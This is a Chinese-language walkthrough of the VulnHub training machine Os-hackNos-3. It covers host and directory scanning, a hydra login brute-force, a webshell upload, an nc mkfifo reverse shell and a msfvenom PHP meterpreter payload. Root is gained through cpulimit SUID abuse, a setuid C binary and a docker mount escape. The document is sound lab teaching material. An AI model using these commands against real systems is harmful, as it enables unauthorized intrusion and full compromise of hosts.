靶机训练6:Os-hackNos-3

靶机训练6:Os-hackNos-3

一、前期准备

  • [Os-hackNos-3 下载地址](hackNos: Os-hackNos-3 ~ VulnHub)

  • 目标

    • user.flag
    • root.flag
  • 相关技术

    • web应用程序
    • 枚举
    • 权限提升
  • virtualBox 打开虚拟机的时候,又出现了上次的问题:不能为虚拟电脑XXX打开一个新任务

    • 修改一下网络配置即可

image-20220812002153248

二、信息收集

1. 主机探测

  • 探索内网网段
    • nmap -sP 192.168.31.0/24

image-20220812014758760

2. 端口扫描

  • 扫面服务
    • nmap -sV -sC -A 192.168.31.112

image-20220812014729245

  • 访问主页(80)

image-20220812014857494

3. 目录扫描

  • gobuster dir -u http://192.168.31.90 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

image-20220812015347038

  • 发现了几个的目录,访问一下
    • /scripts
    • devil
    • websec

image-20220812015607462

  • 除了邮箱地址,没啥其他东西

image-20220812015910952

  • 爆破二级目录

image-20220812020046967

  • 访问 admin 可以看到登录页面

image-20220812020132230

4. 寻找漏洞

image-20220812020748280

  • 使用工具爆破密码,用户名就用邮箱名字:contact@hacknos.com
    • hydra
      • hydra -l contact@hacknos.com -P oshacknos3.txt 192.168.31.90 http-post-form "/websec/login:username=USER&password=PASS:Wrong email or password" -V
  • hydra 格式:
    • "/websec/login
      • 目录
    • username=USER&password=PASS
      • 用户名和密码字段匹配
    • Wrong email or password
      • 错误提示(爆破的时候没有这个就表示成功)

image-20220812022134664

image-20220812022031563

  • 爆破结果:拿到密码
    • login: contact@hacknos.com
    • password: Securityx

image-20220812021559624

  • 密码是主页的字段

image-20220812022329619

  • 登录成功

image-20220812022400790

三、拿shell

寻找可利用的漏洞

  • 浏览发现一个 File Manager,直觉告诉我这里有漏洞,找到它就可以上传木马

image-20220812234348839

方法1:利用一句话木马(执行系统命令)+ nc(监听) + bp(改包) 拿shell

  • 尝试创建一个 一句话木马,然后上传

image-20220812234800868

image-20220812234835963

  • 访问一下并确认内容正确,但比较奇怪,在主目录下上传后没法看到,在其他目录尝试上传后,成功了

image-20220812235710855

image-20220813000238161

  • 在主题的文件夹下,找到了原因,这个 .htaccess 文件全部删除,然后保存就好了

image-20220813000502978

image-20220813000803330

  • 打开瑞士军刀 监听端口
    • nc -lvnp 9001

image-20220813001053371

  • 启动burpsuite,proxy模块启动截包功能,浏览器开启代理,浏览器访问bing.php,proxy模块截包,发送repeater模块改包,再发送(如果不记得的小伙伴,详情请看前面的靶场1-5中寻找详细步骤)

image-20220813002321988

  • 修改请求方法,构造Post请求利用nc反弹shell

image-20220813002720475

  • 原始命令
    • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.239 9001 >/tmp/f
    • 选中后 Ctrl+u 编码
    • shift + ctrl + u 回退编码
    • ip是kali本机ip
  • 编码后的命令
    • rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+i+2>%261|nc+192.168.31.239+9001+>/tmp/f

image-20220813003134603

  • 拿到shell 后,切换交互shell
    • python -c 'import pty;pty.spawn("/bin/bash")'

image-20220813003844750

  • 先到home 目录下拿到第一个目标 user.txt

image-20220813004421837

3. msf 拿 反弹shell

msfvenom 申城一个php反弹shell的poc

  • 简介

    • msfvenom是 MSF下的一个木马生成工具
  • msfvenom -l payload |grep php|grep reverse |grep tcp

    • 列出可用的 payload
    • -l
      • 后接模块类型
      • 列出制定模块的所有可用资源

image-20220817232757760

  • msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.31.239 LPORT=1234 -f raw > webshell.php
    • 使用制定的payload生成一个反弹shell
    • -p
      • 指定需要使用的payload(攻击荷载)
    • LHOST
      • 本地攻击者的ip
    • -f
      • 指定输出格式

image-20220817233151937

上传 反弹shell 文件到网站上,或者写入 网站的websec/index.php文件

image-20220817234934524

进入msfconsole 监听端口

  • 使用exploit/multi/handler模块
    • use /exploit/multi/handler
  • 设置payload
    • set payload php/meterpreter_reverse_tcp
  • 如果不知道填写什么参数,可以通过 options 进行查询
  • 设置 lhost
    • set lhost 192.168.31.239
  • 设置lport
    • set lport 1234
  • 运行 exploit
    • run

image-20220817235156101

浏览器访问该php文件,即会运行该shell

  • 服务器端运行木马后,kali后台就会出现一个终端 meterpreter
    • 192.168.31.90/websec/themes/gila-blog/webshell.php

image-20220817235133090

image-20220817235320591

四、提权

收集系统相关的信息

  • 查看密码文件
    • cat /etc/passwd

image-20220815001618143

  • 筛选出能使用shell 的用户
    • cat /etc/passwd | grep -v nologin

image-20220815002013662

  • 寻找具有SUID权限的命令

    • find / -perm -u=s 2>/dev/null
  • 还可以进行筛选

    • find /usr/bin -type f -perm -u=s 2>/dev/null
  • 没发现什么可以利用的

image-20220813010646854

  • gtfobins搜索了以下可利用提权的cpulimit二进制文件

  • cpulimit 命令

    • 一个用户调整CPU使用的命令,cpulimit 命令主要对长期运行的和 CPU 密集型的进程有用
  • sudo cpulimit -l 100 -f /bin/sh

    • -l 进程数
    • -f shell

image-20220815230728629

  • sudo 需要密码
  • 尝试直接执行 二进制文件
    • cpulimit -l 100 -f /bin/sh

image-20220815231639027

  • 按照第一思路,应该是要找到blackdevil 用户的密码,再进行提权

  • 这里一开始尝试爆破密码,拿不到用户的密码,只能寻求其他思路

1. 提权方法1:cpulimit + suid

  • 一种思路:直接提权
    • cpulimit -l 100 -f -- /bin/sh -p

image-20220816001923595

  • 另一种思路:
    • 这里有运行二进制文件的权限,我们可以利用suid 文件的特性进行提权
    • 这里kali本地编写一个c语言的suid文件去执行提权命令
    • 编译后,上传到相应目录,
    • 进入相应的目录,然后把suid可执行文件(二进制)修改执行权限(让普通用户也可以执行 如777)
      • chmod +x exp
    • 然后用 cpulimit 去运行二进制文件,从而提权
  • 创建文件

image-20220815232400006

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>

int main()
{
  setuid(0);
  setgid(0);
  system("/bin/bash");
  return 0;
}
  • 编译后上传,
    • 方式1:python httpserver
    • 方法2:对编译好的二进制文件进行base64编码,然后在通过shell在/tmp下创建一个文件suidc64,然后复制内容,最后反base64编码
    • 方式3:利用这里的网页文件上传功能,上传编译后的二进制文件,然后cp 到/tmp目录下

image-20220815235055691

  • cpulimit -l 100 -f ./suidc
    • 成功提权

image-20220815235259475

提权方法2:sudo 提权

  • 在home目录的 blackdevil 用户下拿到了 user.txt,id 查看其权限,他是docker用户组

  • 但是想要通过docker提权,需要拿到该用户的密码

  • 根据网上大佬的说法(出题人提示):数据库相关 /var/local/database

image-20220816003350848

image-20220816003939750

image-20220816003955326

  • 登录blackdevil用户

image-20220816004129440

  • 查询其sudo配置,但意外发现可以执行所有命令,该用户可以直接提权
    • sudo -l

image-20220816004403743

提权方法3:docker 提权

  • 回退到blackdevil 用户,学习一下docker提权的方式
  • 查看当前docker 的镜像文件
    • 如果有镜像,则直接挂载目录
      • docker run -it -v /:/mnt 镜像id

image-20220816005158778

  • 发现没有,则下载docker镜像文件,启动容器并挂载宿主机的根目录
    • docker run -it -v /:/mnt alpine /bin/sh
      • alpine镜像非常小非常适合用于提权
      • 本地找不到镜像则会自动下载
    • 由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
      • chroot /mnt

image-20220816010107819

  • 或者直接整合一条命令
    • docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

image-20220816010234946

posted @   bingekong  阅读(113)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示